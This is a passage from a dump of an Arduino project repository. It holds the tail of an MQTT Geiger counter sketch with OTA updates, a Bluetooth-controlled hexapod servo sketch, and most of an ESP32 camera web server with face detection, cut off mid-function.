CPM_TO_MICROSIEVERTS) + "}"; 55 | Serial.println(message); 56 | message.toCharArray(buf, message.length() + 1); 57 | radiationTopic.publish(buf); 58 | } 59 | 60 | void MQTT_connect() { 61 | int8_t ret; 62 | if (mqtt.connected()) { 63 | return; 64 | } 65 | Serial.print("Connecting to MQTT... "); 66 | 67 | while ((ret = mqtt.connect()) != 0) { // connect will return 0 for connected 68 | Serial.println(mqtt.connectErrorString(ret)); 69 | Serial.println("Retrying MQTT connection in 5 seconds..."); 70 | mqtt.disconnect(); 71 | delay(5000); 72 | } 73 | Serial.println("MQTT Connected!"); 74 | } 75 | 76 | void startOTA() { 77 | while (WiFi.waitForConnectResult() != WL_CONNECTED) { 78 | Serial.println("Connection Failed! Rebooting..."); 79 | delay(5000); 80 | ESP.restart(); 81 | } 82 | ArduinoOTA.setPassword(SKETCHPASS); 83 | ArduinoOTA.onStart([]() { 84 | String type; 85 | if (ArduinoOTA.getCommand() == U_FLASH) { 86 | type = "sketch"; 87 | } else { // U_FS 88 | type = "filesystem"; 89 | } 90 | Serial.println("Start updating " + type); 91 | }); 92 | ArduinoOTA.onEnd([]() { 93 | Serial.println("\nEnd"); 94 | }); 95 | ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) { 96 | Serial.printf("Progress: %u%%\r", (progress / (total / 100))); 97 | }); 98 | ArduinoOTA.onError([](ota_error_t error) { 99 | Serial.printf("Error[%u]: ", error); 100 | if (error == OTA_AUTH_ERROR) { 101 | Serial.println("Auth Failed"); 102 | } else if (error == OTA_BEGIN_ERROR) { 103 | Serial.println("Begin Failed"); 104 | } else if (error == OTA_CONNECT_ERROR) { 105 | Serial.println("Connect Failed"); 106 | } else if (error == OTA_RECEIVE_ERROR) { 107 | Serial.println("Receive Failed"); 108 | } else if (error == OTA_END_ERROR) { 109 | Serial.println("End Failed"); 110 | } 111 | }); 112 | ArduinoOTA.begin(); 113 | Serial.print("IP address: "); 114 | Serial.println(WiFi.localIP()); 115 | } 116 | -------------------------------------------------------------------------------- /projects/HASSGeigerIntegration/diagram.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/diagram.jpg -------------------------------------------------------------------------------- /projects/HASSGeigerIntegration/hass_scrn0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/hass_scrn0.png -------------------------------------------------------------------------------- /projects/HASSGeigerIntegration/hass_scrn1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/hass_scrn1.png -------------------------------------------------------------------------------- /projects/HASSGeigerIntegration/parts_breadboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/HASSGeigerIntegration/parts_breadboard.jpg -------------------------------------------------------------------------------- /projects/Hexapod/Hexapod.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Libraries used: 3 | 4 | MegaServo: https://playground.arduino.cc/Code/MegaServo 5 | 6 | Example bluetoth serial controll commands: 7 | Left: 80 8 | Forward: 90 9 | Right:100 10 | Left 45 degreeds:25 11 | Right 45 degreeds:155 12 | Start / Stop: s 13 | Up / Down: d 14 | 15 | Configuration: 16 | 17 | Configure actuator motors[] angles of your own robot 18 | 19 | */ 20 | #include 21 | #include 22 | 23 | MegaServo Servos[18]; 24 | 25 | int i, j, newPos, changeAngleWith; 26 | int delayBtwMooves; 27 | const int defaultSpeedFactor = 10; // multiplied by a factor of 5, representing the delay after each group leg movements 28 | const char inputToggleMotion = 's'; 29 | const char inputToggleElevation = 'd'; 30 | int speed, direction; 31 | boolean finishedCurrentMove = false; 32 | boolean hasMotion = false; 33 | byte isUp = 1; 34 | 35 | //definitions for serial comm ex bluetooth 36 | char buffer[] = {' ',' ',' ',' '}; 37 | 38 | struct remoteC 39 | { 40 | uint8_t speedFactor; 41 | uint8_t direction; 42 | uint8_t special; 43 | }; //remote controll return structure 44 | 45 | remoteC controller; 46 | remoteC getCommandsBT(); 47 | 48 | typedef struct 49 | { 50 | byte id; 51 | byte pin; 52 | int dir; // 1 representing forward in space, -1 reprezenting backwards 53 | byte middlePos; 54 | char elevation; // Low, Medium, Top 55 | char side; // Left, Right 56 | } actuator; 57 | 58 | typedef struct 59 | { 60 | byte id; 61 | int dir; 62 | byte angle; 63 | } 64 | walkStep; 65 | 66 | typedef struct 67 | { 68 | MegaServo srv; 69 | int oldPos; 70 | int newPos; 71 | } 72 | servoStep; 73 | 74 | servoStep servoSequence[18]; // stores steps for smooth mooving function 75 | int servoSequenceNr = 0; 76 | 77 | // values for adjusting calibrated default middle positions 78 | // M = medium, T = top 79 | byte adjustM = 5; 80 | byte adjustT = 0; 81 | byte adjustB = -14; 82 | 83 | //motors mappings 84 | // to increase angle increase middlePos with positive value multiplied by dir 85 | actuator motors[] = 86 | { 87 | {1, 33, 1, 70 + adjustT, 't', 'l'}, 88 | {2, 40, -1, 95 - adjustT, 't', 'l'}, 89 | {3, 41, -1, 27 - adjustT, 't', 'l'}, 90 | {4, 42, 1, 137 + adjustT, 't', 'r'}, 91 | {5, 43, 1, 137 + adjustT, 't', 'r'}, 92 | {6, 44, 1, 115 + adjustT, 't', 'r'}, 93 | {7, 34, 1, 40 + adjustM, 'm', 'l'}, 94 | {8, 35, 1, 14 + adjustM, 'm', 'l'}, 95 | {9, 3, 1, 18 + adjustM, 'm', 'l'}, 96 | {10, 5, -1, 55 - adjustM, 'm', 'r'}, 97 | {11, 7, -1, 65 - adjustM, 'm', 'r'}, 98 | {12, 6, -1, 55 - adjustM, 'm', 'r'}, 99 | {13, 38, -1, 16 - adjustB, 'l', 'l'}, 100 | {14, 37, -1, 10 - adjustB, 'l', 'l'}, 101 | {15, 53, -1, 8 - adjustB, 'l', 'l'}, 102 | {16, 23, -1, 12 - adjustB, 'l', 'r'}, 103 | {17, 25, 1, 107 + adjustB, 'l', 'r'}, 104 | {18, 26, 1, 115 + adjustB, 'l', 'r'} 105 | }; 106 | 107 | int walkStepCounter = 0; //where does the step left off 108 | //walking gait mapping 109 | walkStep steps[][6] = 110 | { 111 | { 112 | {8, 1, 8}, 113 | {10, 1, 8}, 114 | {12, 1, 8} 115 | }, 116 | { 117 | {2, 1, 8}, 118 | {4, 1, 8}, 119 | {6, 1, 8}, 120 | {1, -1, 8}, 121 | {3, -1, 8}, 122 | {5, -1, 8} 123 | }, 124 | { 125 | {8, -1, 8}, 126 | {10, -1, 8}, 127 | {12, -1, 8} 128 | }, 129 | { 130 | {7, 1, 8}, 131 | {9, 1, 8}, 132 | {11, 1, 8} 133 | }, 134 | { 135 | {2, -1, 8}, 136 | {4, -1, 8}, 137 | {6, -1, 8}, 138 | {1, 1, 8}, 139 | {3, 1, 8}, 140 | {5, 1, 8} 141 | }, 142 | { 143 | {7, -1, 8}, 144 | {9, -1, 8}, 145 | {11, -1, 8} 146 | } 147 | }; 148 | 149 | walkStep sitSteps[12] = 150 | { 151 | {7, 1, 75}, 152 | {8, 1, 75}, 153 | {9, 1, 75}, 154 | {10, 1, 75}, 155 | {11, 1, 75}, 156 | {12, 1, 75}, 157 | {13, -1, 80}, 158 | {14, -1, 80}, 159 | {15, -1, 80}, 160 | {16, -1, 80}, 161 | {17, -1, 80}, 162 | {18, -1, 80} 163 | }; 164 | 165 | void setup() 166 | { 167 | Serial.begin(57600); 168 | 169 | for (i=0; i<18; i++) { 170 | Servos[i].attach(motors[i].pin, 800, 1800); 171 | } 172 | initCommunication(); 173 | struct remoteC controller = {70, 90, ' '}; 174 | resetDefaults(); 175 | Serial.println("Finish initialization"); 176 | } 177 | 178 | void loop() 179 | { 180 | controller = getCommandsBT(); 181 | if (controller.special == inputToggleMotion) { 182 | resetDefaults(); 183 | controller.special = ' '; 184 | hasMotion = !hasMotion; 185 | } 186 | if (controller.special == inputToggleElevation) { 187 | isUp = isUp == 1 ? 0 : 1; 188 | controller.special = ' '; 189 | if (isUp) { 190 | resetDefaults(); 191 | } else { 192 | sitDown(40, 25); 193 | } 194 | } 195 | if (hasMotion) { 196 | finishedCurrentMove = walkForward(controller.direction, controller.speedFactor * 5); 197 | } 198 | } 199 | 200 | void sitDown(int smoothing, int delayBtwMoves) 201 | { 202 | int i; 203 | for (i=0; i<12; i++) { 204 | walkStep stepX = sitSteps[i]; 205 | actuator currActuator = motors[stepX.id - 1]; 206 | Servos[stepX.id - 1].read(); 207 | int newAngle = Servos[stepX.id - 1].read() + stepX.dir * stepX.angle * currActuator.dir; 208 | addSmoothMove(Servos[stepX.id - 1], newAngle, Servos[stepX.id - 1].read()); 209 | } 210 | smoothMove(smoothing, delayBtwMoves); 211 | delay(200); 212 | } 213 | 214 | /** 215 | * Advance hexapod position by executing steps stored in walkStep variable 216 | * 217 | * @param direction :as follows: 90 forwars moovement, 0 full left, 180 complete right 218 | * @param delayBtwMooves : after each set of walkStep a pause of ms is required 219 | * @return boolean finishedMoovement 220 | */ 221 | boolean walkForward(int direction, int delayBtwMooves) 222 | { 223 | Serial.print("step=");Serial.print(walkStepCounter);Serial.print("; "); 224 | int lastAngle = 0; 225 | for (j=0; j<6; j++) { 226 | walkStep step = steps[walkStepCounter][j]; 227 | if (step.id == 0) { 228 | continue; // skip where array index is not defined 229 | } 230 | actuator currActuator = motors[step.id - 1]; 231 | lastAngle = step.angle; // we need last angle to calculate how smooth is the moove (we presume last angle is same for all motors in gorup) 232 | changeAngleWith = calculateAngleFromDirection(direction, step.angle, currActuator.side, currActuator.elevation); 233 | int newAngle = currActuator.middlePos + currActuator.dir * step.dir * changeAngleWith; 234 | Serial.print(currActuator.pin);Serial.print("->");Serial.print(newAngle);Serial.print(" "); 235 | addSmoothMove(Servos[step.id - 1], newAngle, Servos[step.id - 1].read()); 236 | } 237 | Serial.println(" ");Serial.println(); 238 | smoothMove(lastAngle * 2, 8); 239 | delay(delayBtwMooves); 240 | walkStepCounter++; 241 | if (walkStepCounter >= 6) { 242 | walkStepCounter = 0; 243 | return true; 244 | } 245 | 246 | return false; 247 | } 248 | 249 | int calculateAngleFromDirection(int direction, int defaultAngle, char actuatorSide, char actuatorElevation) 250 | { 251 | if (actuatorElevation != 't') { 252 | return defaultAngle; // calculate angle for top actuators, they are the only one that make the turn 253 | } 254 | if ( (actuatorSide == 'l' and direction >= 90) || (actuatorSide == 'r' and direction <= 90) ) { 255 | return defaultAngle; //skips computation if the actuator is located on the other side 256 | } 257 | int computedAngle = 0; 258 | if (direction > 90 && direction <= 145) { 259 | computedAngle = map(direction, 145, 90, 0, defaultAngle); 260 | } else if (direction < 90 && direction >= 45) { 261 | computedAngle = map(direction, 45, 90, 0, defaultAngle); 262 | } else if (direction < 45 && direction >= 0) { 263 | computedAngle = map(direction, 45, 0, 0, defaultAngle) * -1; 264 | } else if (direction > 145 && direction <= 180) { 265 | computedAngle = map(direction, 145, 180, 0, defaultAngle) * -1; 266 | } 267 | 268 | return computedAngle; 269 | } 270 | 271 | void resetDefaults() 272 | { 273 | int i, j, k, angle = 0; 274 | for (i=0; i<18; i++) { 275 | for (j=0; j<6; j++) { 276 | for (k=0; k<6; k++) { 277 | if (steps[j][k].id == motors[i].id) { 278 | angle = steps[j][k].angle; 279 | break; 280 | } 281 | } 282 | if (angle != 0) { 283 | break; 284 | } 285 | } 286 | addSmoothMove(Servos[i], motors[i].middlePos - angle * motors[i].dir, Servos[i].read()); 287 | } 288 | smoothMove(25, 30); 289 | } 290 | 291 | void addSmoothMove(MegaServo servo, int newPosition, int oldPosition) 292 | { 293 | servoSequence[servoSequenceNr].srv = servo; 294 | servoSequence[servoSequenceNr].newPos = newPosition; 295 | servoSequence[servoSequenceNr].oldPos = oldPosition; 296 | servoSequenceNr++; 297 | } 298 | 299 | void smoothMove(int nrSteps, int delayBtwMooves) 300 | { 301 | int i, j; 302 | for (i = 1; i <= nrSteps; i++) { 303 | for (j = 0; j < servoSequenceNr; j++) { 304 | float stepSize = (float) abs(servoSequence[j].newPos - servoSequence[j].oldPos) / (float) nrSteps; 305 | float newPosition = stepSize * i; 306 | if (servoSequence[j].newPos > servoSequence[j].oldPos) { 307 | newPosition = servoSequence[j].oldPos + newPosition; 308 | if (newPosition > servoSequence[j].newPos) { 309 | newPosition = servoSequence[j].newPos; 310 | } 311 | } else { 312 | newPosition = servoSequence[j].oldPos - newPosition; 313 | if (newPosition < servoSequence[j].newPos) { 314 | newPosition = servoSequence[j].newPos; 315 | } 316 | } 317 | //Serial.print(j);Serial.print("->");Serial.print(servoSequence[j].oldPos);Serial.print(","); 318 | //Serial.print(servoSequence[j].newPos);Serial.print(",");Serial.print(newPosition);Serial.print("; "); 319 | servoSequence[j].srv.write(newPosition); 320 | } 321 | //Serial.println(); 322 | delay(delayBtwMooves); 323 | } 324 | servoSequenceNr = 0; 325 | } 326 | 327 | void initCommunication() 328 | { 329 | Serial1.begin(9600); 330 | Serial1.setTimeout(70); 331 | } 332 | 333 | struct remoteC getCommandsBT() 334 | { 335 | if (Serial1.available() == 0) { 336 | return controller; 337 | } 338 | Serial.println("Got message"); 339 | Serial1.readBytesUntil('\n', buffer, 4); 340 | if (buffer[0] == inputToggleMotion || buffer[0] == inputToggleElevation) { 341 | Serial.print("Received special function: ");Serial.println(buffer[0]); 342 | controller.special = buffer[0]; 343 | controller.speedFactor = defaultSpeedFactor; 344 | controller.direction = 80; 345 | 346 | return controller; 347 | } 348 | uint8_t incomingValue = atoi(buffer); 349 | controller.speedFactor = defaultSpeedFactor; 350 | controller.direction = incomingValue; 351 | controller.special = ' '; 352 | Serial.print(controller.speedFactor);Serial.print("____");Serial.println(controller.direction); 353 | for (i = 0; i<= 4; i++) { 354 | buffer[i] = ' '; 355 | } 356 | 357 | return controller; 358 | } 359 | -------------------------------------------------------------------------------- /projects/camera_web_upload/app_httpd.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | #include "esp_http_server.h" 15 | #include "esp_timer.h" 16 | #include "esp_camera.h" 17 | #include "img_converters.h" 18 | #include "camera_index.h" 19 | #include "Arduino.h" 20 | 21 | #include "fb_gfx.h" 22 | #include "fd_forward.h" 23 | #include "fr_forward.h" 24 | 25 | #define ENROLL_CONFIRM_TIMES 5 26 | #define FACE_ID_SAVE_NUMBER 7 27 | 28 | #define FACE_COLOR_WHITE 0x00FFFFFF 29 | #define FACE_COLOR_BLACK 0x00000000 30 | #define FACE_COLOR_RED 0x000000FF 31 | #define FACE_COLOR_GREEN 0x0000FF00 32 | #define FACE_COLOR_BLUE 0x00FF0000 33 | #define FACE_COLOR_YELLOW (FACE_COLOR_RED | FACE_COLOR_GREEN) 34 | #define FACE_COLOR_CYAN (FACE_COLOR_BLUE | FACE_COLOR_GREEN) 35 | #define FACE_COLOR_PURPLE (FACE_COLOR_BLUE | FACE_COLOR_RED) 36 | 37 | typedef struct { 38 | size_t size; //number of values used for filtering 39 | size_t index; //current value index 40 | size_t count; //value count 41 | int sum; 42 | int * values; //array to be filled with values 43 | } ra_filter_t; 44 | 45 | typedef struct { 46 | httpd_req_t *req; 47 | size_t len; 48 | } jpg_chunking_t; 49 | 50 | #define PART_BOUNDARY "123456789000000000000987654321" 51 | static const char* _STREAM_CONTENT_TYPE = "multipart/x-mixed-replace;boundary=" PART_BOUNDARY; 52 | static const char* _STREAM_BOUNDARY = "\r\n--" PART_BOUNDARY "\r\n"; 53 | static const char* _STREAM_PART = "Content-Type: image/jpeg\r\nContent-Length: %u\r\n\r\n"; 54 | 55 | static ra_filter_t ra_filter; 56 | httpd_handle_t stream_httpd = NULL; 57 | httpd_handle_t camera_httpd = NULL; 58 | 59 | static mtmn_config_t mtmn_config = {0}; 60 | static int8_t detection_enabled = 0; 61 | static int8_t recognition_enabled = 0; 62 | static int8_t is_enrolling = 0; 63 | static face_id_list id_list = {0}; 64 | 65 | static ra_filter_t * ra_filter_init(ra_filter_t * filter, size_t sample_size){ 66 | memset(filter, 0, sizeof(ra_filter_t)); 67 | 68 | filter->values = (int *)malloc(sample_size * sizeof(int)); 69 | if(!filter->values){ 70 | return NULL; 71 | } 72 | memset(filter->values, 0, sample_size * sizeof(int)); 73 | 74 | filter->size = sample_size; 75 | return filter; 76 | } 77 | 78 | static int ra_filter_run(ra_filter_t * filter, int value){ 79 | if(!filter->values){ 80 | return value; 81 | } 82 | filter->sum -= filter->values[filter->index]; 83 | filter->values[filter->index] = value; 84 | filter->sum += filter->values[filter->index]; 85 | filter->index++; 86 | filter->index = filter->index % filter->size; 87 | if (filter->count < filter->size) { 88 | filter->count++; 89 | } 90 | return filter->sum / filter->count; 91 | } 92 | 93 | static void rgb_print(dl_matrix3du_t *image_matrix, uint32_t color, const char * str){ 94 | fb_data_t fb; 95 | fb.width = image_matrix->w; 96 | fb.height = image_matrix->h; 97 | fb.data = image_matrix->item; 98 | fb.bytes_per_pixel = 3; 99 | fb.format = FB_BGR888; 100 | fb_gfx_print(&fb, (fb.width - (strlen(str) * 14)) / 2, 10, color, str); 101 | } 102 | 103 | static int rgb_printf(dl_matrix3du_t *image_matrix, uint32_t color, const char *format, ...){ 104 | char loc_buf[64]; 105 | char * temp = loc_buf; 106 | int len; 107 | va_list arg; 108 | va_list copy; 109 | va_start(arg, format); 110 | va_copy(copy, arg); 111 | len = vsnprintf(loc_buf, sizeof(loc_buf), format, arg); 112 | va_end(copy); 113 | if(len >= sizeof(loc_buf)){ 114 | temp = (char*)malloc(len+1); 115 | if(temp == NULL) { 116 | return 0; 117 | } 118 | } 119 | vsnprintf(temp, len+1, format, arg); 120 | va_end(arg); 121 | rgb_print(image_matrix, color, temp); 122 | if(len > 64){ 123 | free(temp); 124 | } 125 | return len; 126 | } 127 | 128 | static void draw_face_boxes(dl_matrix3du_t *image_matrix, box_array_t *boxes, int face_id){ 129 | int x, y, w, h, i; 130 | uint32_t color = FACE_COLOR_YELLOW; 131 | if(face_id < 0){ 132 | color = FACE_COLOR_RED; 133 | } else if(face_id > 0){ 134 | color = FACE_COLOR_GREEN; 135 | } 136 | fb_data_t fb; 137 | fb.width = image_matrix->w; 138 | fb.height = image_matrix->h; 139 | fb.data = image_matrix->item; 140 | fb.bytes_per_pixel = 3; 141 | fb.format = FB_BGR888; 142 | for (i = 0; i < boxes->len; i++){ 143 | // rectangle box 144 | x = (int)boxes->box[i].box_p[0]; 145 | y = (int)boxes->box[i].box_p[1]; 146 | w = (int)boxes->box[i].box_p[2] - x + 1; 147 | h = (int)boxes->box[i].box_p[3] - y + 1; 148 | fb_gfx_drawFastHLine(&fb, x, y, w, color); 149 | fb_gfx_drawFastHLine(&fb, x, y+h-1, w, color); 150 | fb_gfx_drawFastVLine(&fb, x, y, h, color); 151 | fb_gfx_drawFastVLine(&fb, x+w-1, y, h, color); 152 | #if 0 153 | // landmark 154 | int x0, y0, j; 155 | for (j = 0; j < 10; j+=2) { 156 | x0 = (int)boxes->landmark[i].landmark_p[j]; 157 | y0 = (int)boxes->landmark[i].landmark_p[j+1]; 158 | fb_gfx_fillRect(&fb, x0, y0, 3, 3, color); 159 | } 160 | #endif 161 | } 162 | } 163 | 164 | static int run_face_recognition(dl_matrix3du_t *image_matrix, box_array_t *net_boxes){ 165 | dl_matrix3du_t *aligned_face = NULL; 166 | int matched_id = 0; 167 | 168 | aligned_face = dl_matrix3du_alloc(1, FACE_WIDTH, FACE_HEIGHT, 3); 169 | if(!aligned_face){ 170 | Serial.println("Could not allocate face recognition buffer"); 171 | return matched_id; 172 | } 173 | if (align_face(net_boxes, image_matrix, aligned_face) == ESP_OK){ 174 | if (is_enrolling == 1){ 175 | int8_t left_sample_face = enroll_face(&id_list, aligned_face); 176 | 177 | if(left_sample_face == (ENROLL_CONFIRM_TIMES - 1)){ 178 | Serial.printf("Enrolling Face ID: %d\n", id_list.tail); 179 | } 180 | Serial.printf("Enrolling Face ID: %d sample %d\n", id_list.tail, ENROLL_CONFIRM_TIMES - left_sample_face); 181 | rgb_printf(image_matrix, FACE_COLOR_CYAN, "ID[%u] Sample[%u]", id_list.tail, ENROLL_CONFIRM_TIMES - left_sample_face); 182 | if (left_sample_face == 0){ 183 | is_enrolling = 0; 184 | Serial.printf("Enrolled Face ID: %d\n", id_list.tail); 185 | } 186 | } else { 187 | matched_id = recognize_face(&id_list, aligned_face); 188 | if (matched_id >= 0) { 189 | Serial.printf("Match Face ID: %u\n", matched_id); 190 | rgb_printf(image_matrix, FACE_COLOR_GREEN, "Hello Subject %u", matched_id); 191 | } else { 192 | Serial.println("No Match Found"); 193 | rgb_print(image_matrix, FACE_COLOR_RED, "Intruder Alert!"); 194 | matched_id = -1; 195 | } 196 | } 197 | } else { 198 | Serial.println("Face Not Aligned"); 199 | //rgb_print(image_matrix, FACE_COLOR_YELLOW, "Human Detected"); 200 | } 201 | 202 | dl_matrix3du_free(aligned_face); 203 | return matched_id; 204 | } 205 | 206 | static size_t jpg_encode_stream(void * arg, size_t index, const void* data, size_t len){ 207 | jpg_chunking_t *j = (jpg_chunking_t *)arg; 208 | if(!index){ 209 | j->len = 0; 210 | } 211 | if(httpd_resp_send_chunk(j->req, (const char *)data, len) != ESP_OK){ 212 | return 0; 213 | } 214 | j->len += len; 215 | return len; 216 | } 217 | 218 | static esp_err_t capture_handler(httpd_req_t *req){ 219 | camera_fb_t * fb = NULL; 220 | esp_err_t res = ESP_OK; 221 | int64_t fr_start = esp_timer_get_time(); 222 | 223 | fb = esp_camera_fb_get(); 224 | if (!fb) { 225 | Serial.println("Camera capture failed"); 226 | httpd_resp_send_500(req); 227 | return ESP_FAIL; 228 | } 229 | 230 | httpd_resp_set_type(req, "image/jpeg"); 231 | httpd_resp_set_hdr(req, "Content-Disposition", "inline; filename=capture.jpg"); 232 | httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*"); 233 | 234 | size_t out_len, out_width, out_height; 235 | uint8_t * out_buf; 236 | bool s; 237 | bool detected = false; 238 | int face_id = 0; 239 | if(!detection_enabled || fb->width > 400){ 240 | size_t fb_len = 0; 241 | if(fb->format == PIXFORMAT_JPEG){ 242 | fb_len = fb->len; 243 | res = httpd_resp_send(req, (const char *)fb->buf, fb->len); 244 | } else { 245 | jpg_chunking_t jchunk = {req, 0}; 246 | res = frame2jpg_cb(fb, 80, jpg_encode_stream, &jchunk)?ESP_OK:ESP_FAIL; 247 | httpd_resp_send_chunk(req, NULL, 0); 248 | fb_len = jchunk.len; 249 | } 250 | esp_camera_fb_return(fb); 251 | int64_t fr_end = esp_timer_get_time(); 252 | Serial.printf("JPG: %uB %ums\n", (uint32_t)(fb_len), (uint32_t)((fr_end - fr_start)/1000)); 253 | return res; 254 | } 255 | 256 | dl_matrix3du_t *image_matrix = dl_matrix3du_alloc(1, fb->width, fb->height, 3); 257 | if (!image_matrix) { 258 | esp_camera_fb_return(fb); 259 | Serial.println("dl_matrix3du_alloc failed"); 260 | httpd_resp_send_500(req); 261 | return ESP_FAIL; 262 | } 263 | 264 | out_buf = image_matrix->item; 265 | out_len = fb->width * fb->height * 3; 266 | out_width = fb->width; 267 | out_height = fb->height; 268 | 269 | s = fmt2rgb888(fb->buf, fb->len, fb->format, out_buf); 270 | esp_camera_fb_return(fb); 271 | if(!s){ 272 | dl_matrix3du_free(image_matrix); 273 | Serial.println("to rgb888 failed"); 274 | httpd_resp_send_500(req); 275 | return ESP_FAIL; 276 | } 277 | 278 | box_array_t *net_boxes = face_detect(image_matrix, &mtmn_config); 279 | 280 | if (net_boxes){ 281 | detected = true; 282 | if(recognition_enabled){ 283 | face_id = run_face_recognition(image_matrix, net_boxes); 284 | } 285 | draw_face_boxes(image_matrix, net_boxes, face_id); 286 | free(net_boxes->score); 287 | free(net_boxes->box); 288 | free(net_boxes->landmark); 289 | free(net_boxes); 290 | } 291 | 292 | jpg_chunking_t jchunk = {req, 0}; 293 | s = fmt2jpg_cb(out_buf, out_len, out_width, out_height, PIXFORMAT_RGB888, 90, jpg_encode_stream, &jchunk); 294 | dl_matrix3du_free(image_matrix); 295 | if(!s){ 296 | Serial.println("JPEG compression failed"); 297 | return ESP_FAIL; 298 | } 299 | 300 | int64_t fr_end = esp_timer_get_time(); 301 | Serial.printf("FACE: %uB %ums %s%d\n", (uint32_t)(jchunk.len), (uint32_t)((fr_end - fr_start)/1000), detected?"DETECTED ":"", face_id); 302 | return res; 303 | } 304 | 305 | static esp_err_t stream_handler(httpd_req_t *req){ 306 | camera_fb_t * fb = NULL; 307 | esp_err_t res = ESP_OK; 308 | size_t _jpg_buf_len = 0; 309 | uint8_t * _jpg_buf = NULL; 310 | char * part_buf[64]; 311 | dl_matrix3du_t *image_matrix = NULL; 312 | bool detected = false; 313 | int face_id = 0; 314 | int64_t fr_start = 0; 315 | int64_t fr_ready = 0; 316 | int64_t fr_face = 0; 317 | int64_t fr_recognize = 0; 318 | int64_t fr_encode = 0; 319 | 320 | static int64_t last_frame = 0; 321 | if(!last_frame) { 322 | last_frame = esp_timer_get_time(); 323 | } 324 | 325 | res = httpd_resp_set_type(req, _STREAM_CONTENT_TYPE); 326 | if(res != ESP_OK){ 327 | return res; 328 | } 329 | 330 | httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*"); 331 | 332 | while(true){ 333 | detected = false; 334 | face_id = 0; 335 | fb = esp_camera_fb_get(); 336 | if (!fb) { 337 | Serial.println("Camera capture failed"); 338 | res = ESP_FAIL; 339 | } else { 340 | fr_start = esp_timer_get_time(); 341 | fr_ready = fr_start; 342 | fr_face = fr_start; 343 | fr_encode = fr_start; 344 | fr_recognize = fr_start; 345 | if(!detection_enabled || fb->width > 400){ 346 | if(fb->format != PIXFORMAT_JPEG){ 347 | bool jpeg_converted = frame2jpg(fb, 80, &_jpg_buf, &_jpg_buf_len); 348 | esp_camera_fb_return(fb); 349 | fb = NULL; 350 | if(!jpeg_converted){ 351 | Serial.println("JPEG compression failed"); 352 | res = ESP_FAIL; 353 | } 354 | } else { 355 | _jpg_buf_len = fb->len; 356 | _jpg_buf = fb->buf; 357 | } 358 | } else { 359 | 360 | image_matrix = dl_matrix3du_alloc(1, fb->width, fb->height, 3); 361 | 362 | if (!image_matrix) { 363 | Serial.println("dl_matrix3du_alloc failed"); 364 | res = ESP_FAIL; 365 | } else { 366 | if(!fmt2rgb888(fb->buf, fb->len, fb->format, image_matrix->item)){ 367 | Serial.println("fmt2rgb888 failed"); 368 | res = ESP_FAIL; 369 | } else { 370 | fr_ready = esp_timer_get_time(); 371 | box_array_t *net_boxes = NULL; 372 | if(detection_enabled){ 373 | net_boxes = face_detect(image_matrix, &mtmn_config); 374 | } 375 | fr_face = esp_timer_get_time(); 376 | fr_recognize = fr_face; 377 | if (net_boxes || fb->format != PIXFORMAT_JPEG){ 378 | if(net_boxes){ 379 | detected = true; 380 | if(recognition_enabled){ 381 | face_id = run_face_recognition(image_matrix, net_boxes); 382 | } 383 | fr_recognize = esp_timer_get_time(); 384 | draw_face_boxes(image_matrix, net_boxes, face_id); 385 | free(net_boxes->score); 386 | free(net_boxes->box); 387 | free(net_boxes->landmark); 388 | free(net_boxes); 389 | } 390 | if(!fmt2jpg(image_matrix->item, fb->width*fb->height*3, fb->width, fb->height, PIXFORMAT_RGB888, 90, &_jpg_buf, &_jpg_buf_len)){ 391 | Serial.println("fmt2jpg failed"); 392 | res = ESP_FAIL; 393 | } 394 | esp_camera_fb_return(fb); 395 | fb = NULL; 396 | } else { 397 | _jpg_buf = fb->buf; 398 | _jpg_buf_len = fb->len; 399 | } 400 | fr_encode = esp_timer_get_time(); 401 | } 402 | dl_matrix3du_free(image_matrix); 403 | } 404 | } 405 | } 406 | if(res == ESP_OK){ 407 | size_t hlen = snprintf((char *)part_buf, 64, _STREAM_PART, _jpg_buf_len); 408 | res = httpd_resp_send_chunk(req, (const char *)part_buf, hlen); 409 | } 410 | if(res == ESP_OK){ 411 | res = httpd_resp_send_chunk(req, (const char *)_jpg_buf, _jpg_buf_len); 412 | } 413 | if(res == ESP_OK){ 414 | res = httpd_resp_send_chunk(req, _STREAM_BOUNDARY, strlen(_STREAM_BOUNDARY)); 415 | } 416 | if(fb){ 417 | esp_camera_fb_return(fb); 418 | fb = NULL; 419 | _jpg_buf = NULL; 420 | } else if(_jpg_buf){ 421 | free(_jpg_buf); 422 | _jpg_buf = NULL; 423 | } 424 | if(res != ESP_OK){ 425 | break; 426 | } 427 | int64_t fr_end = esp_timer_get_time(); 428 | 429 | int64_t ready_time = (fr_ready - fr_start)/1000; 430 | int64_t face_time = (fr_face - fr_ready)/1000; 431 | int64_t recognize_time = (fr_recognize - fr_face)/1000; 432 | int64_t encode_time = (fr_encode - fr_recognize)/1000; 433 | int64_t process_time = (fr_encode - fr_start)/1000; 434 | 435 | int64_t frame_time = fr_end - last_frame; 436 | last_frame = fr_end; 437 | frame_time /= 1000; 438 | uint32_t avg_frame_time = ra_filter_run(&ra_filter, frame_time); 439 | Serial.printf("MJPG: %uB %ums (%.1ffps), AVG: %ums (%.1ffps), %u+%u+%u+%u=%u %s%d\n", 440 | (uint32_t)(_jpg_buf_len), 441 | 